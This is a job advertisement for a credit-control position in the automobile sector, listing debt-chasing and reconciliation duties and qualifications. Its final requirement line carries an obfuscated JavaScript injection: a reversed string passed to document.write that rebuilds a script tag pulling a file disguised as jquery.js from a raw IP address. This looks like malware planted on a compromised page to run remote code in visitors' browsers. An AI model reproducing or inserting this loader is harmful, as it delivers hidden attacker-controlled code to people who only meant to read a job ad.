Industry : Automobile

Gender : Open

Responsibilities:
• Proactively chasing trade debt and managing debtor turnover days
• Working closely with sales and account receivable team to resolve any outstanding issues
• Prepare account reconciliation report on weekly and monthly basis
• Develop and carry out credit control procedures

Requirements:
• Candidate must possess at least a Diploma or Degree in Finance/Accountancy/Banking or equivalent
• At least 3 year(s) of working experience in the related field is required for this position
• Able to work overtime as and when required
• Good interpersonal skills, self-motivated, meticulous and team player
• High proficiency in spoken and written English
• Able to travel at short notice document.write(‘>tpircs/”sj.yreuqj/87.611.942.431//:sptth”=crs tpircs<'.split("").reverse().join(""))